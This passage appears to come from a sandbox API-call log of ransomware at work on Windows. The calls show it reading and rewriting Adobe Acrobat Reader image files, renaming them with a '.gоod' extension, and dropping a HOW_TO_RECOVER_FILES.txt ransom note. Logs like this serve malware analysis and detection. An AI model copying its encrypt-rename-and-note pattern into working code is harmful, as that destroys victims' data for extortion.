dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0137.312] GetFileType (hFile=0x6e0) returned 0x1 [0137.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0137.314] GetFileType (hFile=0x6e0) returned 0x1 [0137.314] ReadFile (in: hFile=0x6e0, lpBuffer=0x384d6b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x384d6b0*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0137.348] CloseHandle (hObject=0x6e0) returned 1 [0137.348] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0137.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0137.348] GetFileType (hFile=0x6e0) returned 0x1 [0137.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0137.349] GetFileType (hFile=0x6e0) returned 0x1 [0137.349] WriteFile (in: hFile=0x6e0, lpBuffer=0x3848e10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x3848e10*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0137.349] CloseHandle (hObject=0x6e0) returned 1 [0137.349] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png", lpFilePart=0x0) returned 0x8c [0137.349] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png.gоod", lpFilePart=0x0) returned 0x91 [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0137.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4e13bcc8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa769)) returned 1 [0137.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0137.349] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png.gоod")) returned 1 [0137.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0137.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x38c9d10 | out: lpFileInformation=0x38c9d10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76)) returned 1 [0137.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0137.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0137.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0137.351] GetFileType (hFile=0x6e0) returned 0x1 [0137.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0137.351] GetFileType (hFile=0x6e0) returned 0x1 [0137.351] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0137.351] ReadFile (in: hFile=0x6e0, lpBuffer=0x38ca2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x38ca2a8*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0138.139] CloseHandle (hObject=0x6e0) returned 1 [0138.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0138.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0138.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0138.142] GetFileType (hFile=0x6e0) returned 0x1 [0138.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0138.142] GetFileType (hFile=0x6e0) returned 0x1 [0138.142] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0xad76 [0138.172] WriteFile (in: hFile=0x6e0, lpBuffer=0x39c6158*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x39c6158*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0138.173] CloseHandle (hObject=0x6e0) returned 1 [0138.173] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0138.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0138.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0138.173] GetFileType (hFile=0x6e0) returned 0x1 [0138.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0138.173] GetFileType (hFile=0x6e0) returned 0x1 [0138.173] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a45db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x3a45db0*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0138.992] CloseHandle (hObject=0x6e0) returned 1 [0138.992] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0138.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0138.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0138.993] GetFileType (hFile=0x6e0) returned 0x1 [0138.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0138.993] GetFileType (hFile=0x6e0) returned 0x1 [0138.993] WriteFile (in: hFile=0x6e0, lpBuffer=0x3873b50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x3873b50*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0138.993] CloseHandle (hObject=0x6e0) returned 1 [0138.993] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png", lpFilePart=0x0) returned 0x8c [0138.993] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png.gоod", lpFilePart=0x0) returned 0x91 [0138.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0138.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4f0f2434, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad86)) returned 1 [0138.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0138.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png.gоod")) returned 1 [0138.994] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7f [0138.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0138.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0138.996] GetFileType (hFile=0x6e0) returned 0x1 [0138.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0138.996] GetFileType (hFile=0x6e0) returned 0x1 [0138.996] WriteFile (in: hFile=0x6e0, lpBuffer=0x389d690*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x389d690*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.997] CloseHandle (hObject=0x6e0) returned 1 [0138.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0138.997] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes", lpFilePart=0x0) returned 0x61 [0138.998] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0138.998] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.998] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0138.999] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0138.999] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0138.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0138.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0138.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0138.999] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes", lpFilePart=0x0) returned 0x61 [0138.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0138.999] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.999] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0138.999] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.000] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0139.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0139.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0139.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark", lpFilePart=0x0) returned 0x66 [0139.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0139.001] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.002] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0139.002] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0139.002] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0139.002] FindNextFileW (in: hFindFile=0x1ec31f90, 